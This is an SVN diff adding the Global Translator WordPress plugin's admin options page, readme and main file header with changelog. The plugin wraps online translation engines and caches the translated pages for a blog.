+//foreach($gltr_preferred_languages as $key => $value){echo "$value<br>";}
+
+ 
+/*Get options for form fields*/
+$gltr_current_engine = $gltr_available_engines[$gltr_my_translation_engine];
+$gltr_lang_matrix = $gltr_current_engine->get_languages_matrix();
+
+
+function gltr_build_js_function($base_lang, $selected_item) {
+	global $gltr_current_engine;
+	global $gltr_lang_matrix;
+?>  
+<script type="text/javascript">
+calculateOptions('<?php echo $base_lang ?>', <?php echo $selected_item ?>);
+
+function languageItem(lang, flags_num){
+  this.lang=lang;
+  this.flags_num=flags_num;
+}
+
+function calculateOptions(lang, selectedItem) {
+  var flags_num = 0;
+  var list = new Array();
+<?php  
+  $j=0;
+  foreach($gltr_lang_matrix as $key => $value){
+    echo "  list[$j] = new languageItem('$key', " . count($gltr_lang_matrix[$key]) . ");\n";
+    $j++;
+  }
+?>  
+  for (z = 0; z < document.forms['form1'].gltr_col_num.options.length; z++) {
+    document.forms['form1'].gltr_col_num.options[z] = null;
+  }
+  document.forms['form1'].gltr_col_num.options.length = 0;
+  
+  for (y = 0; y < list.length; y++) {
+    if (list[y].lang == lang){
+      flags_num = list[y].flags_num;
+      break;
+    }
+  }
+  for (i = 0; i < flags_num; i++) {
+    if (i == 0) {
+      opt_text='all the flags in a single row (default)';
+    } else if (i == 1) {
+      opt_text='1 flag for each row';
+    } else {
+      opt_text= i + ' flags for each row';
+    }
+    
+    if (i == 0)
+    	document.forms['form1'].gltr_col_num.options[i]=new Option(opt_text, flags_num);
+    else
+    document.forms['form1'].gltr_col_num.options[i]=new Option(opt_text, i);
+  }
+  
+  //I need to cycle again on the options list in order to correctly choose the selected item
+  for (i = 0; i < flags_num; i++) {
+    document.forms['form1'].gltr_col_num.options[i].selected = (selectedItem == i);
+  }
+}
+
+function calculateAvailableTranslations(lang, selectedItem) {
+  var list = new Array();
+<?php  
+  $j=0;
+  foreach($gltr_lang_matrix as $key => $value){
+    echo "  list[$j] = new languageItem('$key', " . count($gltr_lang_matrix[$key]) . ");\n";
+    $j++;
+  }
+?>  
+  for (z = 0; z < document.forms['form1'].gltr_col_num.options.length; z++) {
+    document.forms['form1'].gltr_col_num.options[z] = null;
+  }
+  document.forms['form1'].gltr_col_num.options.length = 0;
+  
+  for (y = 0; y < list.length; y++) {
+    if (list[y].lang == lang){
+      flags_num = list[y].flags_num;
+      break;
+    }
+  }
+  for (i = 0; i <= flags_num; i++) {
+    if (i == 0) {
+      opt_text='all the flags in a single row (default)';
+    } else if (i == 1) {
+      opt_text='1 flag for each row';
+    } else {
+      opt_text= i + ' flags for each row';
+    }
+    document.forms['form1'].gltr_col_num.options[i]=new Option(opt_text, i);
+  }
+  
+  //I need to cycle again on the options list in order to correctly choose the selected item
+  for (i = 0; i <= flags_num; i++) {
+    document.forms['form1'].gltr_col_num.options[i].selected = (selectedItem == i);
+  }
+}
+</script>
+<?php
+}
+/*
+if (gltr_is_currently_banned()){
+	$message="<font color='red'>WARNING! Your blog seems to have been temporarily banned by the '".strtoupper(get_option('gltr_my_translation_engine'))."' translation engine. Try to increase the connection request interval on the \"Translation engine connection\" section.</font>";
+}
+*/
+
+//Print out the message to the user, if any
+if($message!="") { ?>
+	
+	<div class="updated"><strong><p>
+<?php	echo $message; ?>
+	</p></strong></div>
+
+<?php } else { ?>
+	
+<?php	} ?>
+			
+<form name="test"></form>
+<div class="wrap">
+  <h2><?php _e('Global Translator ')?><?php echo($gltr_VERSION);?></h2>
+  <form id="gltr_form" name="form1" method="post" action="<?php echo $location ?>">
+  	<input type="hidden" name="stage" value="process" />
+    <input type="hidden" name="gltr_stats" value="<?php echo(($showstats==true)?"show":"hide");?>" />
+  	<fieldset class="options">
+  		<h3><?php _e('Choose your translation engine') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+      <tr><td>
+        <label><input type="radio" onclick="document.forms['form1'].stage.value='change';document.forms['form1'].submit();" 
+          <?php if($gltr_my_translation_engine==null || $gltr_my_translation_engine == 'google') {?> checked <?php } ?> name="gltr_my_translation_engine" 
+            value="google">&nbsp;<?php _e('Google Translation Services') ?>
+        </label>
+      </td></tr>
+      <tr><td>
+        <label><input type="radio" onclick="document.forms['form1'].stage.value='change';document.forms['form1'].submit();" 
+          <?php if($gltr_my_translation_engine == 'promt') {?> checked <?php } ?> name="gltr_my_translation_engine" 
+            value="promt">&nbsp;<?php _e('Promt Online Translator') ?>
+        </label>
+      </td></tr>
+      <tr><td>
+        <label><input type="radio" onclick="document.forms['form1'].stage.value='change';document.forms['form1'].submit();" 
+          <?php if($gltr_my_translation_engine == 'babelfish') {?> checked <?php } ?> name="gltr_my_translation_engine" 
+            value="babelfish">&nbsp;<?php _e('Altavista Babel Fish') ?>
+        </label>
+      </td></tr>
+      <tr><td>
+        <label><input type="radio" onclick="document.forms['form1'].stage.value='change';document.forms['form1'].submit();" 
+          <?php if($gltr_my_translation_engine == 'freetransl') {?> checked <?php } ?> name="gltr_my_translation_engine" 
+            value="freetransl">&nbsp;<?php _e('FreeTranslator') ?>
+        </label>
+      </td></tr>
+      </table>
+    </fieldset>
+    
+    <fieldset class="options">
+  		<h3><?php _e('Base settings') ?></h3>
+    		<table width="100%" cellpadding="5" class="editform"><tr><td>
+          <label><?php _e('My Blog is written in:') ?>
+            <select name="gltr_base_lang" onchange="document.forms['form1'].stage.value='change';document.forms['form1'].submit();">
+              <?php    
+              $languages = $gltr_current_engine->get_available_languages();
+              foreach($languages as $key => $value){
+                if ($gltr_base_lang == $key) {
+              ?>
+              <option value="<?php echo $key ?>" selected ><?php echo $value ?></option>
+              <?php
+                } else {
+              ?>
+              <option value="<?php echo $key ?>"  ><?php echo $value ?></option>
+              <?php
+                }
+              }
+              ?>
+            </select>
+          </label>
+        </td></tr>
+        <tr><td><label><?php _e('Choose which translations you want to make available for your visitors:') ?><br/>
+        	<table border="0">
+        <?php    
+        foreach($gltr_lang_matrix as $key => $langs){
+          if ($gltr_base_lang == $key) {
+          	$i = 0;
+          	foreach($langs as $lang_key => $lang_value){
+          		if ($gltr_base_lang == $lang_key) continue;
+          		$chk_val = "";
+          		if (count ($gltr_preferred_languages) == 0 || in_array($lang_key, $gltr_preferred_languages) ) 
+          			$chk_val = "checked";
+          		echo '<tr><td><input type="checkbox" name="gltr_preferred_languages[' . $i . ']" ' . $chk_val . ' value="' . $lang_key . '"></td>
+          		<td><img src="' . gltr_get_flag_image($lang_key) . '"/></td><td>' . $lang_value . '</td></tr>';
+          		$i++;
+          	}
+          }
+        }
+        ?>
+        </table>
+        </td></tr></table>
+     </fieldset>
+
+  	<fieldset class="options">
+  		<h3><?php _e('Flags bar layout') ?></h3>
+
+  		<table width="100%" cellpadding="5" class="editform">
+      <tr><td width="350">
+        <label><input type="radio" <?php if($gltr_html_bar_tag == 'TABLE') {?> checked <?php } ?> name="gltr_html_bar_tag" value="TABLE">&nbsp;<?php _e('Enclose the flags inside a TABLE  and show:') ?>
+        </label><br />
+        <label><input type="radio" <?php if($gltr_html_bar_tag == 'MAP') {?> checked <?php } ?> name="gltr_html_bar_tag" value="MAP">&nbsp;<?php _e('Use a single and optimized image map and show:') ?>
+        </label>
+      </td>
+      <td>
+          <select name="gltr_col_num"/>
+      </td>
+      </tr>
+      <tr><td colspan=2>
+        <label><input type="radio" <?php if($gltr_html_bar_tag == 'DIV') {?> checked <?php } ?> name="gltr_html_bar_tag" value="DIV">&nbsp;<?php _e('Enclose the flags inside a DIV (for CSS customization)') ?>
+        </label>
+      </td></tr>
+      </table>
+    </fieldset>
+
+  	<fieldset class="options">
+  		<h3><?php _e('Cache management') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+  		<tr><td>
+        
+	        	Global Translator uses a fast, smart, optimized, self-cleaning and built-in caching system in order to drastically reduce the connections to the translation engines.
+						This feature cannot be optional and is needed in order to prevent from banning by the translation services. For the same reason the translation process will not be 
+						immediate and the full translation of the blog could take a while: this is because by default only a translation request every 5 minutes will be allowed (see next section). 
+	        	<br /> 
+	        	The cache invalidation will be automatically (and smartly) handled when a post is created, deleted or updated.
+	        	<br/><br/>
+	        	<?php if (function_exists('gzcompress')){?>
+	        	<label><input name="gltr_compress_cache" type="checkbox" id="gltr_compress_cache"  
+	        	<?php if($gltr_compress_cache == TRUE) {?> checked="checked" <?php } ?> /> Enable cache compression (this will strongly decrease the disk space but could give some problems on certain hosts)</label>
+						<?php } else {?>
+							<input name="gltr_compress_cache" disabled="true" type="checkbox" id="gltr_compress_cache"/> Unable to provide cache compression feature: ZLIB not available on you php installation.</label>
+						<?php }?>
+	        	<br/><br/>
+	        	Schedule a page for a new translation if it has been cached more than 
+	        		<input size="4"  maxlength="5" name="gltr_cache_expire_time" type="text" id="gltr_cache_expire_time" value="<?php echo($gltr_cache_expire_time);?>"/> days ago ("0" means "never").
+	        	<br/>
+
+	        	<h4>Cache statistics</h4>
+            <?php if ($showstats){ 	?>
+	        	<ul>
+	        	<li>Your cache directory currently contains <strong><?php echo($gltr_cached_files_num)?></strong> successfully translated and cached pages.</li>
+	        	<li><strong>Cache directory size</strong>: <?php $size=round($gltr_cache_size/1024/1024,1); echo ($size);?> MB</li>
+	        	<li>Your stale directory currently contains <strong><?php echo($gltr_stale_files_num)?></strong> successfully translated and cached pages waiting for a new translation.</li>
+	        	<li><strong>Stale directory size</strong>: <?php $size=round($gltr_stale_size/1024/1024,1); echo ($size);?> MB</li>
+	        	</ul>
+            <input type="button" onclick="
+              document.forms['form1'].stage.value='change';
+              document.forms['form1'].gltr_stats.value='hide';
+              document.forms['form1'].submit();" 
+              value="&lt;&lt;Hide" />
+            <?php }else{ ?>
+            <input type="button" onclick="
+            	document.forms['form1'].stage.value='change';
+              document.forms['form1'].gltr_stats.value='show';
+              document.forms['form1'].submit();" 
+              value="Show &gt;&gt;" />
+            <?php } ?>
+            <br />
+      </td></tr>
+  		<tr><td>
+        <label>
+        
+        <!-- <input type="submit"  name="gltr_erase_cache" value="<?php _e('Erase cache') ?> &raquo;" /> -->        
+        </label>
+      </td></tr>
+      </table>
+    </fieldset>
+
+  	<fieldset class="options">
+  		<h3><?php _e('Translation engine connection') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+  		<tr><td>
+        <label><?php _e('Allow only a translation request every ') ?>
+	        	<input size="4"  maxlength="5" name="gltr_conn_interval" type="text" id="gltr_conn_interval" value="<?php echo($gltr_conn_interval);?>"/> seconds.</label><br /><br />
+	        	This feature represents the solution which can definitively prevent your blog from being banned by the translation engines.<br />
+	        	For this reason we strongly discourage you to insert an interval value lower than "300" (5 minutes), which should represent an optimal value expecially for high-traffic blogs.<br />
+	        	If your blog is sharing its IP address with other blogs using this plugin, the risk of being banned could come back again: in this case I suggest you to  
+	        	increase the timeout value and wait for a while (some days could be necessary).<br /><br />
+	        	<ul>
+						<?php
+	        	//$diff_time = gltr_get_last_cached_file_time();
+
+						if ($diff_time > 0){
+		        	echo ("<li>Latest allowed connection to the translation engine: <strong>");
+	    	      if ($diff_time < 60){
+				      	echo (round(($diff_time)) . " seconds ago</strong>");
+	      			}else if ($diff_time > 60*60){
+	      				echo (round(($diff_time)/3600) . " hours ago</strong>");
+								    
+		      		}else{
+		      			echo (round(($diff_time)/60) . " minutes ago</strong>");
+		      		}
+		      		/*
+		      		global $gltr_last_cached_url;
+		      		if (strlen($gltr_last_cached_url)>0){
+		      			echo (". [<a target='_blank' href='$gltr_last_cached_url'>See latest translated page</a>]");
+		      		}
+		      		*/
+						} else {
+							echo ("<li>Latest allowed connection to the translation engine: <strong>not available</strong>");
+						}
+						echo ("</li>");
+						
+						echo ("<li><strong>Translations status</strong>:");	
+						$ban_status = get_option("gltr_translation_status");					
+						if ($ban_status == 'banned'){
+							echo("<strong><font color='red'>Bad or unhandled response from the '".strtoupper(get_option('gltr_my_translation_engine'))."' translation engine.</font></strong> This could mean that:
+							<ul><li>Your blog has been temporarily banned: increase the time interval between the translation requests and wait for some days or switch to another translation engine</li>
+							<li>The translation engine is currently not responding/working: wait for some days or switch to another translation engine</li>
+							<li>The translation engine has changed something (i.e. the translation url): wait for the next release of Global Translator :-)</li>
+							<li>You haven't added the flags widget on your pages: adding the flags bar is mandatory in order to make Global Translator able to work correctly</li></font>");
+						} else if ($ban_status == 'working'){
+							echo("<strong><font color='green'>Working properly</font></strong>");
+						} else {
+							echo("<strong>not available</strong>");
+						}
+						echo ("</li>");
+	        	?>
+	        </ul>
+	        	
+	        	
+        
+      </td></tr>
+      </table>
+    </fieldset>
+
+
+  	<fieldset class="options">
+  		<h3><?php _e('Bad spiders blocking system') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+  		<tr><td>
+        <label><?php _e('Block "bad" web spiders and crawlers') ?>
+	        	<input name="gltr_ban_prevention" type="checkbox" id="gltr_ban_prevention"  
+	        	<?php if($gltr_ban_prevention == TRUE) {?> checked="checked" <?php } ?> /></label>
+	        	<br />	        	<br />
+	        	By enabling this option, Global Translator will block the access to the translated pages to a lot of "bad" web spiders.
+ 	          This function could help the <strong>built-in cache</strong> to prevent "unuseful" translation requests expecially if you have an high-traffic blog.<br />
+ 	          If you have a low traffic blog I suggest you to disable this option.
+        
+      </td></tr>
+      </table>   
+    </fieldset>
+
+  	<fieldset class="options">
+  		<h3><?php _e('Sitemap integration') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+  		<tr><td>
+  			<?php 
+  			if (gltr_sitemap_plugin_detected()){?>
+        <label>
+						<?php _e('Enable sitemap integration') ?>
+	        	<input name="gltr_sitemap_integration" type="checkbox" id="gltr_sitemap_integration"  
+	        	<?php if($gltr_sitemap_integration == TRUE) {?> checked="checked" <?php } ?> /></label>
+	        	<br /><br />
+	        	By enabling this option, Global Translator will automatically provide the translated urls to the "<strong>Google XML Sitemaps Generator for WordPress</strong>" plugin.<br />
+						After the next sitemap rebuild, all the translated urls will be added to your sitemap.xml file.<br />
+						This feature could make the sitemap generation process very slow and could require a lot of system resources (a lot of urls could be added): I strongly suggest you to 
+						enable the <strong>"Build the sitemap in a background process"</strong> option from the "<strong>Google XML Sitemaps Generator for WordPress</strong>" 
+						admin page, otherwise the post saving/publishing actions could become unresponsive.
+        
+      <?php
+      } else {?>
+        <label>"Google XML Sitemaps Generator for WordPress" not detected.<br />
+        	Please download, install and activate the "<a target="_blank" href="http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/">Google XML Sitemaps Generator for WordPress 3.*</a>" in order to enable this feature.
+        </label>
+      <?php
+      }?>
+      </td></tr>
+      </table>
+    </fieldset>
+    
+  	<fieldset class="options">
+  		<h3><?php _e('Debug') ?></h3>
+  		<table width="100%" cellpadding="5" class="editform">
+  		<tr><td>
+        <label><?php _e('Enable debug') ?>
+	        	<input name="gltr_enable_debug" type="checkbox" id="gltr_enable_debug"  
+	        	<?php if($gltr_enable_debug == TRUE) {?> checked="checked" <?php } ?> /><br />	        	<br />
+	        	By enabling this option, Global Translator will trace all its activities on the <strong>"debug.log"</strong> file, which will be saved in the following directory:<br/>
+	        	<strong><?php echo(dirname(__file__));?></strong>.<br />
+        </label>
+      </td></tr>
+      </table>
+    </fieldset>
+
+    <p class="submit">
+      <input type="submit" name="gltr_save" value="<?php _e('Update options') ?> &raquo;" />
+    </p>
+		<br /><br />
+		<fieldset class="options">
+			<h3><?php _e('Thanks for using this plugin!') ?></h3>
+				<strong><p><?php echo __('If you are satisfied with the results, isn\'t it worth at least one dollar? 
+					<a href="http://www.nothing2hide.net/donate_global_translator.php">Donations</a> help me to continue support and development of this <i>free</i> software! '); ?> 
+					</p></strong>
+		</fieldset>
+
+		<fieldset class="options">
+			<h3><?php _e('Advanced functions and support') ?></h3>
+			<p><?php echo str_replace("%s","<a href=\"http://www.nothing2hide.net/global-translator-pro/\">http://www.nothing2hide.net/global-translator-pro/</a>",
+				__("Check %s if you need a supported version with more and advanced functions")); ?></p>
+		</fieldset>
+  </form>
+</div>
+
+<?php
+if (!is_numeric($gltr_col_num))$gltr_col_num = 0;
+gltr_build_js_function($gltr_base_lang, $gltr_col_num);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/readme.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/readme.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/readme.txt	(revision 44)
@@ -0,0 +1,124 @@
+=== Global Translator ===
+Tags: translator, multilanguage, automatic translator, google translations, babelfish, promt, freetranslations, widget
+Author: Davide Pozza
+Contributors:
+Donate link: http://www.nothing2hide.net/donate_global_translator.php
+Requires at least: 2.3
+Tested up to: 2.8
+Stable Tag: 1.2.5.1
+
+Automatically translates your blog in 34 different languages!
+
+== Description ==
+
+Global Translator automatically translates your blog in the following 41 different languages:
+Italian, Korean, Chinese (Simplified), Portuguese, English, German, French, Spanish, Japanese, 
+Arabic, Russian, Greek, Dutch, Bulgarian, Czech, Croatian, Danish, Finnish, Hindi, Polish, Romanian, 
+Swedish, Norwegian, Catalan, Filipino, Hebrew, Indonesian, Latvian, Lithuanian, Serbian, Slovak, 
+Slovenian, Ukrainian, Vietnamese,Albanian,Estonian,Galician,Maltese,Thai,Turkish,Hungarian.
+
+The number of available translations will depend on your blog language and the translation engine you will chose to use.
+Main features:
+
+* **Four different translation engines**: Google Translation Engine, Babel Fish, Promt, FreeTranslations
+* **Search Engine Optimized**: it uses the permalinks by adding the language code at the beginning of all your URI. 
+	For example the english version on www.domain.com/mycategory/mypost will be automatically transformed in 
+	www.domain.com/en/mycategory/mypost 
+* **Fast Caching System**: new fast, smart, optimized, self-cleaning and built-in caching system. Drastically reduction of the risk of temporarily ban from translation engines. 
+* **Fully configurable layout**: you can easily customize the appearance of the translation bar by choosing between a TABLE 
+	or DIV layout for the flags bar and by selecting the number of translations to make available to your visitors 
+* **No database modifications**: Global Translator is not intrusive. It doesn't create or alter any table on your database: this feature permits to obtain better performances.
+
+**Global Translator is the first real (and free) traffic booster for your blog!**
+It can help you to reach a lot of new users and consequently to strongly increase your popularity: if you derive some benefits and if you want to support the development, 
+please consider to support me with a donation.
+
+For the latest information and changelog visit the website
+
+http://www.nothing2hide.net/wp-plugins/wordpress-global-translator-plugin/
+
+
+**A Pro version with full support and additional features is also available!** 
+Learn more by visiting this page: http://www.nothing2hide.net/global-translator-pro/
+
+
+== Installation ==
+
+1. 	Upload the folder "global-translator" to the "wp-content/plugins" directory.
+2. 	Activate the plugin through the 'Plugins' menu in WordPress. 
+3.	From the main menu choose "Options->Global Translator" and select 
+		your blog language and your preferred configuration options then select "Update Options".
+
+**How to upgrade**
+
+If upgrading from 0.9 or higher, just overwrite the previous version (don't delete the "cache" directory!!), otherwise uninstall the previous 
+version and follow the Installation instructions; don't use the automatic upgrade feature or your cache will be erased!
+
+Starting from 1.0.8 the cache directory has been moved outside the plugin directory in order to support the Wordpress automatic pluging update feature:
+the content of the previous existing cache (inside wp-content/plugins/global-translator/cache) will be automatically and progressively moved to the new 
+cache location (wp-content/gt-cache) but, if you want, you can manually change the cache location by using your ftp client or a shell access.
+
+== Configuration ==
+
+If your theme is widged-enabled, just choose "Presentation->Widgets" from the administration main menu
+and drag the "Global translator" widget on the preferred position on your sidebar.
+If your theme is not widgetized, just add the following php code (usually to the sidebar.php file):  
+
+<?php if(function_exists("gltr_build_flags_bar")) { gltr_build_flags_bar(); } ?>
+
+After this simple operation, a bar containing the flags that represents all the available translations 
+for your language will appear on your blog.
+
+== Frequently Asked Questions ==
+
+= The full translation process takes a lot of time. Why? =
+
+In order to prevent from banning by the translation services, only a translation request every 5 minutes will be allowed. This will permit to fully translate
+your blog whithout any interruption; this message will completely disappear when all the pages of your blog will be cached.
+Remember that this message will also appear if you're currently being banned by the translation engine: this could happen if for example your blog shares the
+same ip address with other blogs using older versions of Global Translator.
+
+= "This page has not been translated yet. The translation process could take a while: please come back later." message when trying to access a translated page =
+
+Upgrade to 1.0.8 or later. Starting from 1.0.8, a browser asking for a not yet translated page will be warned and redirected in 5 seconds to the translation service 
+page in order to provide a temporary "backup translation service". Obviously, when the page is translated and saved on your cache directory, this redirection 
+will disappear and the translated and cleaned page will be served by your blog.
+
+= I have a Global Translator version prior than 1.0.5 and Google doesn't translate anymore! =
+
+Starting from 27th of August 2008, Google has introduced a block in order to prevent not human translation requests: just upgrade to 1.0.5 or later.
+
+= White page or Page Not Found (404) when clicking on a translation flag =
+
+This could be due to a change of the permalinks structure of your blog, to a conflict with another plugin or to a custom 
+.htaccess file which doesn't permit Global Translator to add its custom permalink rules. Try to refresh the Global Translator 
+rewrite rules just pressing the "Update Options" button from the Global Translator admin page. If the problem persists, 
+try also to deactivate all the other existing plugins and check your .htaccess file and comment out all the non-standard rewrite rules. 
+If you discover a conflicting plugin please send me an email (davide at nothing2hide.net).
+
+= "Sorry, the translation engine is temporarily not available. Please try again later" message when using Google Translations engine =
+
+You're using an old version of the plugin. Please upgrade to 1.0 or later.
+
+= The translated page has a bad/broken layout =
+
+This is due to the translation engine action. I cannot do anything in order to prevent this problem :-)
+I suggest you to try all the translation engines in order to choose the best one for your blog layout
+
+= I've just changed my permalinks structure or just upgraded Wordpress to a newer version and Global Translator doesn't translate anymore =
+
+Everytime the permalinks structure of your blog changes, the custom rules previously added by Global Translator are overriden.
+To solve the problem you must just refresh the Global Translator Options ("Update Options" button) on the administrative area.
+
+= I've removed one or more available translations but the search engines continue to try to index the corresponding urls =
+
+When you remove one or more translations, the plugin will begin to return a 404 Not Found for all the corresponding translated pages.
+In order to notify a search engine that one or more urls are not available anymore you should add a deny rule on your robots.txt file.
+For example if you decide to remove the German translation you should modify your robots.txt as follows:
+User-agent: *
+[....]
+Disallow: /de/*
+
+= How can I discover if my blog is currently banned by the translation engine? =
+
+Go to the Global Translator admin page. If your blog has been temporarily banned, a warning message will appear inside the "Translation engine connection" section.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/translator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/translator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/translator.php	(revision 44)
@@ -0,0 +1,1657 @@
+<?php
+/*
+Plugin Name: Global Translator
+Plugin URI: http://www.nothing2hide.net/wp-plugins/wordpress-global-translator-plugin/
+Description: Automatically translates a blog in 41 different languages by wrapping four different online translation engines (Google Translation Engine, Babelfish Translation Engine, FreeTranslations.com, Promt). After uploading this plugin click 'Activate' (to the right) and then afterwards you must <a href="options-general.php?page=global-translator/options-translator.php">visit the options page</a> and enter your blog language to enable the translator.
+Version: 1.2.5.1
+Author: Davide Pozza
+Author URI: http://www.nothing2hide.net/
+Disclaimer: Use at your own risk. No warranty expressed or implied is provided.
+
+*/
+
+/*  Copyright 2006  Davide Pozza  (email : davide@nothing2hide.net)
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+/* Credits:
+Special thanks also to: 
+Jason F. Irwin, 
+Ibnu Asad, 
+Ozh, 
+ttancm, 
+Fable, 
+Satollo, 
+Nick Georgakis,
+Kaizeku Ban
+and the many others who have provided feedback, spotted bugs, and suggested improvements.
+*/
+
+/* *****INSTRUCTIONS*****
+
+Installation
+============
+Upload the folder "global-translator" into your "wp-content/plugins" directory.
+Log in to Wordpress Administration area, choose "Plugins" from the main menu, find "Global Translator" 
+and click the "Activate" button. From the main menu choose "Options->Global Translator" and select 
+your blog language and your preferred configuration options then select "Update Options".
+
+Upgrading
+=========
+If upgrading from 0.9 or higher, just overwrite the previous version, otherwise uninstall the previous 
+version and follow the Installation instructions.
+
+Configuration
+=============
+If your theme is widged-enabled, just choose "Presentation->Widgets" from the administration main menu
+and drag the "Global translator" widget on the preferred position on your sidebar.
+If your theme is not widgetized, just add the following php code (usually to the sidebar.php file):  
+<?php if(function_exists("gltr_build_flags_bar")) { gltr_build_flags_bar(); } ?>
+
+After this simple operation, a bar containing the flags that represents all the available translations 
+for your language will appear on your blog.
+
+Uninstallation
+==============
+Log in to Wordpress Administration area, choose "Plugins" from the main menu, find the name of the 
+plugin "Global Translator", and click the "Deactivate" button.
+
+
+***********************
+
+
+Change Log
+
+1.2.5.1
+- some fixes on the new cleaning system
+
+1.2.5
+- updated page cleaning system in order to prevent new Google updates on the HTML sources
+
+1.2.4
+- Fixed trailing slash issue
+- Replaced 404 errors with 302 redicection for better SEO
+- Other fixes and optimizations
+
+1.2.3
+- Fixed sitemap integration for blogs not installed on the root path
+- Fixed encoding problems related to the introduction of the new Google APIs
+
+1.2.2.1
+- Hacked new Google URL structure
+- Added support for older PHP versions
+
+1.2.1
+- Added seven new languages: Albanian,Estonian,Galician,Maltese,Thai,Turkish,Hungarian
+- Improved caching performances
+- Added Show/Hide button for statistics on options page
+- Optimized connections to google translation engine
+
+1.2
+- Fixed Chinese (Traditional) translation
+
+1.1.2
+- New configuration feature: flags bar in a single image (based on contribution by Amir - http://www.gibni.com)
+- Translated Portuguese languages array (Thanks to Henrique Cintra)
+- Added Chinese (Traditional) translation
+- Fixed "division by zero" error
+- Fixed image map configuration error
+
+1.0.9.2
+- Better IIS url rewriting support
+- Fixed Norwegian configuration
+- Moved shared function to header.php
+
+1.0.9.1
+- Changed HTTP error for not yet translated pages from 404 to 503 (Service Temporarily Unavailable)
+
+1.0.9
+- Added 404 error code for not yet translated pages
+- Added support for IIS rewrite rules (based on the usage of "/index.php" at the beginning of the permalink)
+- other performances improvements
+
+1.0.8.1
+- little fix for cached pages count on options page
+
+1.0.8
+- general performance improvement
+- added check for blocking nested translation requests (i.e. www.mysite/en/fr/...)
+- fixed A tags rendering
+- moved cache dir outside the plugin dir
+- fixed options page access problem
+- fixed trailing slash issue
+
+1.0.7.1
+- removed call to "memory_get_usage" on debug method because it is not supported
+  by certain php versions
+
+1.0.7
+- Added cache compression
+- fixed layout bugs
+- fixed link building problem (internal anchors not working)
+- Added 11 new languages to Google Translation Engine!
+ 
+1.0.6
+- Added new optional cache invalidation time based parameter
+
+1.0.5
+- Random User Agent selection for translation requests
+- Hacked new Google block introduced on (27th of August 2008)
+
+1.0.4
+- Performances improvement in cache cleaning algorithm
+- fixed the sitemap plugin detection function
+- fixed javascript errors on translated pages
+
+1.0.3
+- Added Debug option on the admin area
+- Added Connection Interval option on the admin area
+- Added more detailed messages and info on the admin page
+- Updated new Promt translation url
+- Fixed some issues about cache cleaning for blogs not using the permalinks
+- Added experimental sitemap integration
+
+1.0.2
+- Fixed cache issue with blogs not using the pemalinks
+
+1.0.1
+- Fixed tags issue with older Wordpress versions (2.3.*)
+
+1.0
+- Improved cleaning system for translated pages
+- New fast, smart, optimized, self-cleaning and built-in caching system. Drastically reduction of temporarily ban risk
+- Added Widget Title
+- Added 404 error page for deactivated translations
+
+0.9.1.1
+- Bug fix: Google translation issue
+
+0.9.1
+- Added file extension exclusion for images and resources (they don't need to be translated)
+- Activated new Prompt configuration
+- Fixed little issue with Portuguese translation
+- Fixed Swedish, Arabic and Czech flags icons (thanks to Mijk Bee and Nigel Howarth)
+- Added new (and better) event-based cache invalidation system
+
+0.9
+- Added support for 10 new languages for Google Translations engine: Bulgarian, Czech, Croat, Danish, Finnish, Hindi, Polish, Rumanian, Swedish, Greek, Norwegian
+- Updated flags icons (provided by famfamfam.com)
+
+0.8
+- Updated Prompt engine
+- Added experimental translation engines ban prevention system
+- Improved caching management
+- Improved setup process
+- Fixed a bug on building links for "Default Permalink Structure"
+
+0.7.2
+- Fixed other bug on building links for "Default Permalink Structure"
+- Optimized translation flags for search engines and bots
+- changed cached filename in order to prevent duplicates
+- added messages for filesystem permissions issues
+- updated Google translation languages options (added Greek and Dutch)
+
+0.7.1
+- Fixed bug "Call to a member function on a non-object in /[....]/query.php". 
+  It happens only on certain servers with a custom PHP configuration
+- Fixed bug on building links for "Default Permalink Structure"
+
+0.7
+- Added two new translation engines: FreeTranslation and Promt Online Translation
+- Added USER-AGENT filter in order to prevent unuseless connections to the translation services
+- Added support for Default Permalink Structure (i.e.: "www.site.com/?p=111")
+- Added widgetization: Global Translator is now widgetized!
+- Fixed some bugs and file permission issues
+- Excluded RSS feeds and trackback urls translation
+- Fixed some problems on translated pages 
+
+0.6.2
+- Updated in order to handle the new Babelfish translation URL.(Thanks to Roel!)
+
+0.6.1
+- Fixed some layout issues
+- Fixed url parsing bugs
+
+0.6
+- Fixed compatibility problem with Firestats
+- Added the "gltr_" prefix for all the functions names in order to reduce naming conflicts with other plugins
+- Added new configuration feature: now you can choose to enable a custom number of translations
+- Removed PHP short tags
+- Added alt attribute for flags IMG
+- Added support to BabelFish Engine: this should help to solve the "403 Error" by Google
+- Added my signature to the translation bar. It can be removed, but you should add a link to my blog on your blogroll.
+- Replaced all the flags images
+- Added help messages for cache support
+- Added automatic permalink update system: you don't need to re-save your permalinks settings
+- Fixed many link replacement issues
+- Added hreflang attribute to the flags bar links
+- Added id attribute to <A> Tag for each flag link
+- Added DIV tag for the translation bar
+- Added support for the following new languages: Russian, Greek, Dutch
+
+0.5
+- Added BLOG_URL variable
+- Improved url replacement
+- Added caching support (experimental): the cached object will be stored inside the following directory:
+"[...]/wp-content/plugins/global-translator/cache".
+- Fixed japanese support (just another bug)
+
+0.4.1
+- Better request headers
+- Bug fix: the translated page contains also the original page
+
+0.4
+- The plugin has been completely rewritten
+- Added permalinks support for all the supported languages
